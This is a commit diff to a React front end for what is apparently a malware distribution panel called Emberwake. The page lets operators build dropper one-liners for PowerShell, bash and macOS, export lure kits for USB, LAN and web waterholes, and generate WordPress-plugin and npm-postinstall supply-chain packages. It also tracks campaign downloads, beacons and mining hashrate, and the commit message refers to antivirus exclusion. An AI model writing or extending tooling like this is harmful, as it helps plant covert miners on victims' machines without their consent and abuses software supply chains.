Release validation: tests green, USB pack, fleet UX and API hardening.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Fix macOS agent cross-compile (SilentAVExclusion) and Calibrate E2E nav selector; expand tests and docs; refresh portable usb binary and spread/wiki assets.
This commit is contained in:
AetherForge
2026-06-06 16:57:39 -07:00
parent 5229854f00
commit 415b5dc6a3
119 changed files with 7005 additions and 3082 deletions

View File

@@ -1,13 +1,9 @@
import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
import { Link } from 'react-router-dom';
import { useVisibleInterval } from '../hooks/usePageVisible';
import { api } from '../api/client';
import type { BuildRecord, EmberwakeNotes, PublicBuildDTO, WarRoomResponse } from '../types';
import {
combinedDropperQuery,
commandOneliner,
ps1Oneliner,
publicDownloadUrl,
shOneliner,
} from '../help/emberwake';
import { publicDownloadUrl } from '../help/emberwake';
import {
EMBERWAKE_TECHNIQUE_LINKS,
SPREAD_TECHNIQUES_DOC,
@@ -22,6 +18,7 @@ import { usePresence } from '../context/PresenceContext';
import AlsoHere from '../components/Presence/AlsoHere';
import ComradeAvatar from '../components/Presence/ComradeAvatar';
import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard';
import { HelpTip } from '../components/HelpTip';
import './Pages.css';
import './EmberwakePage.css';
import '../components/Presence/Presence.css';
@@ -29,10 +26,10 @@ import '../components/Presence/Presence.css';
function CopyChip({ text, label }: { text: string; label: string }) {
const [ok, setOk] = useState(false);
const copy = () => {
void navigator.clipboard.writeText(text).then(() => {
void navigator.clipboard?.writeText(text).then(() => {
setOk(true);
setTimeout(() => setOk(false), 1500);
});
}).catch(() => {});
};
return (
<button type="button" className="btn btn-outline btn-sm" onClick={copy}>
@@ -68,13 +65,15 @@ export default function EmberwakePage() {
const typingActiveRef = useRef(false);
const pinned = useMemo(() => builds.filter((b) => b.pinned), [builds]);
const query = useMemo(() => combinedDropperQuery(pinA || pinned[0]?.id || '', campaign), [pinA, pinned, campaign]);
const queryB = useMemo(() => combinedDropperQuery(pinB, campaign + '-b'), [pinB, campaign]);
const loadWarRoom = useCallback(async () => {
const data = await api.getWarRoom(WAR_ROOM_DAYS);
setWarRoom(data);
setWarRoomUpdated(data.generated_at);
try {
const data = await api.getWarRoom(WAR_ROOM_DAYS);
setWarRoom(data);
setWarRoomUpdated(data.generated_at);
} catch {
/* war room is non-critical; silently retain previous data */
}
}, []);
const load = useCallback(async () => {
@@ -106,12 +105,9 @@ export default function EmberwakePage() {
void load().catch(() => {});
}, [load]);
useEffect(() => {
const id = window.setInterval(() => {
void loadWarRoom().catch(() => {});
}, WAR_ROOM_POLL_MS);
return () => window.clearInterval(id);
}, [loadWarRoom]);
useVisibleInterval(() => {
void loadWarRoom().catch(() => {});
}, WAR_ROOM_POLL_MS);
useEffect(() => {
if (!latestMessage) return;
@@ -203,138 +199,118 @@ export default function EmberwakePage() {
<div className="page emberwake-page operator-deck-page">
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">SPREAD · WATERHOLE · KINDLING</p>
<h1>Emberwake</h1>
<p className="deck-eyebrow font-tech">SPREAD OPERATIONS</p>
<h1>
Emberwake <HelpTip field="ew_overview" />
</h1>
<p className="page-subtitle">
Carry embers from the forge web waterholes, CMS uploads, curl|bash VPS drops, fusion media, USB, and LAN spread.
Tag install links, export lure kits, and track which campaigns convert all from one desk.
</p>
<p className="emberwake-hero-links form-hint">
<a href={SPREAD_TECHNIQUES_DOC} target="_blank" rel="noreferrer">
Spread techniques playbook
</a>
{' · '}
<a href="/spread/">On-server spread lander</a>
</p>
</div>
</header>
<AlsoHere page="/emberwake" />
<div className="spread-section spread-section--ember operator-deck-card operator-interactive">
<h3>How to spread</h3>
<p className="form-hint" style={{ marginTop: 0 }}>
Operator instructions (no login):{' '}
<a href="/spread/">Spread kit landing</a>
{' · '}
Full threat-intel matrix:{' '}
<a href={SPREAD_TECHNIQUES_DOC} target="_blank" rel="noreferrer">
SPREAD_TECHNIQUES.md
</a>
<section
className="spread-section spread-section--ember operator-deck-card operator-interactive emberwake-primary-block"
aria-labelledby="ew-setup-heading"
>
<h2 id="ew-setup-heading" className="emberwake-section-title">
Campaign setup <HelpTip field="ew_campaign_setup" />
</h2>
<p className="emberwake-section-desc">
Set once every link and export below uses these values.
</p>
<ul className="emberwake-technique-list">
{EMBERWAKE_TECHNIQUE_LINKS.map((t) => (
<li key={t.label}>
<strong>{t.label}</strong> {t.hint}{' '}
<a href={spreadTechniqueDocUrl(t.anchor)} target="_blank" rel="noreferrer">
playbook §
</a>
</li>
))}
</ul>
</div>
<div className="emberwake-setup-grid">
<div className="form-group">
<label className="label" htmlFor="ew-campaign">
Campaign slug (?c=) <HelpTip field="ew_campaign_slug" />
</label>
<input id="ew-campaign" className="input mono" value={campaign} onChange={(e) => setCampaign(e.target.value)} />
</div>
<div className="form-group">
<label className="label" htmlFor="ew-server">Command deck URL</label>
<input
id="ew-server"
className="input mono"
value={serverBase}
onChange={(e) => setServerBase(e.target.value)}
/>
</div>
<div className="form-group">
<label className="label" htmlFor="ew-pin-a">Build A (pin)</label>
<select id="ew-pin-a" className="input" value={pinA} onChange={(e) => setPinA(e.target.value)}>
<option value="">Latest / pinned</option>
{builds.map((b) => (
<option key={b.id} value={b.id}>{b.worker_name} · {b.platform} {b.pinned ? '📌' : ''}</option>
))}
</select>
</div>
<div className="form-group">
<label className="label" htmlFor="ew-pin-b">Build B (A/B test)</label>
<select id="ew-pin-b" className="input" value={pinB} onChange={(e) => setPinB(e.target.value)}>
<option value=""></option>
{builds.map((b) => (
<option key={b.id} value={b.id}>{b.worker_name} · {b.platform}</option>
))}
</select>
</div>
</div>
<div className="card operator-deck-card operator-interactive" style={{ marginBottom: '1rem' }}>
<h2>Campaign builder</h2>
<div className="form-group">
<label className="label" htmlFor="ew-campaign">Campaign slug (?c=)</label>
<input id="ew-campaign" className="input mono" value={campaign} onChange={(e) => setCampaign(e.target.value)} />
</div>
<div className="emberwake-ab-row" style={{ marginBottom: '0.75rem' }}>
<label className="label">Build A (pin)</label>
<select className="input" value={pinA} onChange={(e) => setPinA(e.target.value)}>
<option value="">Latest / pinned</option>
{builds.map((b) => (
<option key={b.id} value={b.id}>{b.worker_name} · {b.platform} {b.pinned ? '📌' : ''}</option>
))}
</select>
<label className="label">Build B (A/B)</label>
<select className="input" value={pinB} onChange={(e) => setPinB(e.target.value)}>
<option value=""></option>
{builds.map((b) => (
<option key={b.id} value={b.id}>{b.worker_name} · {b.platform}</option>
))}
</select>
</div>
<div className="emberwake-tool-grid">
<div>
<p className="form-hint">PowerShell</p>
<code className="mono" style={{ fontSize: '0.75rem', wordBreak: 'break-all' }}>{ps1Oneliner(serverBase, query)}</code>
<CopyChip text={ps1Oneliner(serverBase, query)} label="Copy PS1" />
</div>
<div>
<p className="form-hint">bash</p>
<code className="mono" style={{ fontSize: '0.75rem', wordBreak: 'break-all' }}>{shOneliner(serverBase, query)}</code>
<CopyChip text={shOneliner(serverBase, query)} label="Copy sh" />
</div>
<div>
<p className="form-hint">macOS</p>
<code className="mono" style={{ fontSize: '0.75rem', wordBreak: 'break-all' }}>{commandOneliner(serverBase, query)}</code>
<CopyChip text={commandOneliner(serverBase, query)} label="Copy .command" />
</div>
</div>
{pinB && (
<p className="form-hint" style={{ marginTop: '0.75rem' }}>
A/B link B: <code>{serverBase}/get{queryB}</code>
<CopyChip text={`${serverBase}/get${queryB}`} label="Copy B" />
<div className="emberwake-subsection">
<h3 className="emberwake-subsection-title">
Install commands <HelpTip field="ew_install_links" />
</h3>
<p className="emberwake-section-desc">
Per-platform one-liners (PowerShell, bash, macOS) are in Builds pin a build there before sharing links.
</p>
)}
</div>
<Link to="/builds" className="btn btn-outline">
View install commands in Builds
</Link>
</div>
<div className="spread-section spread-section--cyan operator-deck-card operator-interactive">
<h3>Spread kit export</h3>
<p className="form-hint">
Zips customized <code>spread-kit-web-publisher/</code> templates for your server URL + campaign.
{' '}
<a href="/spread/">View on-server instructions</a> at <code>/spread/</code> (synced from repo templates).
</p>
<div className="emberwake-ab-row">
<input className="input mono" style={{ flex: 1 }} value={serverBase} onChange={(e) => setServerBase(e.target.value)} />
<button type="button" className="btn btn-primary" disabled={exportBusy || !serverBase} onClick={() => void exportKit()}>
<div className="emberwake-subsection emberwake-subsection--inline">
<div>
<h3 className="emberwake-subsection-title">
Download spread kit <HelpTip field="ew_spread_kit" />
</h3>
<p className="emberwake-section-desc">
ZIP templates for USB, LAN, or web landers includes <code>/spread/</code> assets.
</p>
</div>
<button
type="button"
className="btn btn-primary"
disabled={exportBusy || !serverBase}
onClick={() => void exportKit()}
>
{exportBusy ? 'Zipping…' : 'Export spread kit ZIP'}
</button>
</div>
</div>
</section>
<SupplyChainExportWizard
builds={builds}
serverBase={serverBase}
onServerBaseChange={setServerBase}
pinA={pinA}
onPinAChange={setPinA}
campaign={campaign}
onCampaignChange={setCampaign}
siteName={siteName}
onSiteNameChange={setSiteName}
/>
<div className="spread-section spread-section--gold operator-deck-card operator-interactive">
<h3>Public build URLs</h3>
<p className="form-hint">Authenticated deck sees all builds; login page lists pinned + public + latest 3 (or all if Calibrate public builds enabled).</p>
<ul style={{ margin: 0, padding: 0, listStyle: 'none' }}>
{(publicBuilds.length ? publicBuilds : builds.slice(0, 5)).map((b) => (
<li key={b.id} style={{ marginBottom: '0.5rem', fontSize: '0.85rem' }}>
<strong>{b.worker_name}</strong> ({b.platform})
{' — '}
<a href={publicDownloadUrl(serverBase, b.id, campaign)} target="_blank" rel="noreferrer">
public download
</a>
<CopyChip text={publicDownloadUrl(serverBase, b.id, campaign)} label="Copy" />
</li>
))}
</ul>
</div>
<div
<section
id="campaign-war-room"
className="spread-section spread-section--war-room operator-deck-card operator-interactive"
aria-labelledby="ew-war-room-heading"
>
<h3>Campaign War Room</h3>
<h2 id="ew-war-room-heading" className="emberwake-section-title">
Campaign War Room <HelpTip field="ew_war_room" />
</h2>
<p className="emberwake-section-desc">
Track hits downloads beacons miners per <code>?c=</code> slug (last {WAR_ROOM_DAYS} days).
</p>
<div className="war-room-toolbar">
<span>
Live funnel hits downloads first beacon mining hashrate per <code>?c=</code> slug (last {WAR_ROOM_DAYS}d)
<span className="war-room-toolbar-meta">
{warRoomUpdated ? `Updated ${new Date(warRoomUpdated).toLocaleTimeString()}` : 'Loading…'}
{' · '}poll {WAR_ROOM_POLL_MS / 1000}s
</span>
<div className="war-room-toolbar-right">
<div className="war-room-view-toggle" role="group" aria-label="War room view">
@@ -360,10 +336,7 @@ export default function EmberwakePage() {
Constellations
</button>
</div>
<span>
{warRoomUpdated ? `Updated ${new Date(warRoomUpdated).toLocaleTimeString()}` : 'Loading…'}
{' · '}poll {WAR_ROOM_POLL_MS / 1000}s · WS 30s
</span>
<span className="war-room-toolbar-meta">WebSocket push ~30s</span>
</div>
</div>
{warRoom && warRoom.campaigns.length > 0 ? (
@@ -490,11 +463,88 @@ export default function EmberwakePage() {
No campaign activity in the last {WAR_ROOM_DAYS} days. Share dropper links with <code>?c=your-slug</code> to populate the funnel.
</p>
)}
</div>
</section>
<div className="card operator-deck-card operator-interactive">
<h2>Shared notes</h2>
<p className="form-hint">Synced live to every logged-in operator{notesMeta ? ` — last edit: ${notesMeta}` : ''}.</p>
<details className="emberwake-advanced spread-section spread-section--violet operator-deck-card operator-interactive">
<summary className="emberwake-advanced-summary">
<span className="emberwake-section-title">
Supply-chain exports <HelpTip field="ew_supply_chain" />
</span>
<span className="emberwake-section-desc emberwake-advanced-tag">Advanced</span>
</summary>
<p className="emberwake-section-desc">
WordPress plugin or npm postinstall ZIP uses campaign setup above.
</p>
<SupplyChainExportWizard
builds={builds}
serverBase={serverBase}
onServerBaseChange={setServerBase}
pinA={pinA}
onPinAChange={setPinA}
campaign={campaign}
onCampaignChange={setCampaign}
siteName={siteName}
onSiteNameChange={setSiteName}
/>
</details>
<details className="emberwake-advanced spread-section spread-section--gold operator-deck-card operator-interactive">
<summary className="emberwake-advanced-summary">
<span className="emberwake-section-title">
Public download links <HelpTip field="ew_public_urls" />
</span>
</summary>
<p className="emberwake-section-desc">
Direct download URLs per build also listed on the login page when marked public.
</p>
<ul className="emberwake-public-list">
{(publicBuilds.length ? publicBuilds : builds.slice(0, 5)).map((b) => (
<li key={b.id}>
<strong>{b.worker_name}</strong> ({b.platform})
{' — '}
<a href={publicDownloadUrl(serverBase, b.id, campaign)} target="_blank" rel="noreferrer">
public download
</a>
<CopyChip text={publicDownloadUrl(serverBase, b.id, campaign)} label="Copy" />
</li>
))}
</ul>
</details>
<section
className="spread-section spread-section--ember operator-deck-card operator-interactive emberwake-techniques-block"
aria-labelledby="ew-techniques-heading"
>
<h2 id="ew-techniques-heading" className="emberwake-section-title">
How to spread <HelpTip field="ew_techniques" />
</h2>
<p className="emberwake-section-desc">
Pick a vector step-by-step instructions live in the{' '}
<a href={SPREAD_TECHNIQUES_DOC} target="_blank" rel="noreferrer">
Spread techniques playbook
</a>
.
</p>
<ul className="emberwake-technique-list">
{EMBERWAKE_TECHNIQUE_LINKS.map((t) => (
<li key={t.anchor}>
<a href={spreadTechniqueDocUrl(t.anchor)} target="_blank" rel="noreferrer">
{t.label}
</a>
{' — '}
{t.hint}
</li>
))}
</ul>
</section>
<section className="card operator-deck-card operator-interactive" aria-labelledby="ew-notes-heading">
<h2 id="ew-notes-heading" className="emberwake-section-title">
Team notes <HelpTip field="ew_shared_notes" />
</h2>
<p className="emberwake-section-desc">
Shared scratchpad for lure copy and rotation{notesMeta ? ` — last edit: ${notesMeta}` : ''}.
</p>
{notesTyping?.active && (
<div className="emberwake-typing-banner" role="status">
<ComradeAvatar user={notesTyping.user} size="sm" title={`${notesTyping.user} is editing notes`} />
@@ -520,7 +570,7 @@ export default function EmberwakePage() {
<button type="button" className="btn btn-primary" style={{ marginTop: '0.5rem' }} disabled={notesBusy} onClick={() => void saveNotes()}>
{notesBusy ? 'Saving…' : 'Save notes'}
</button>
</div>
</section>
</div>
);
}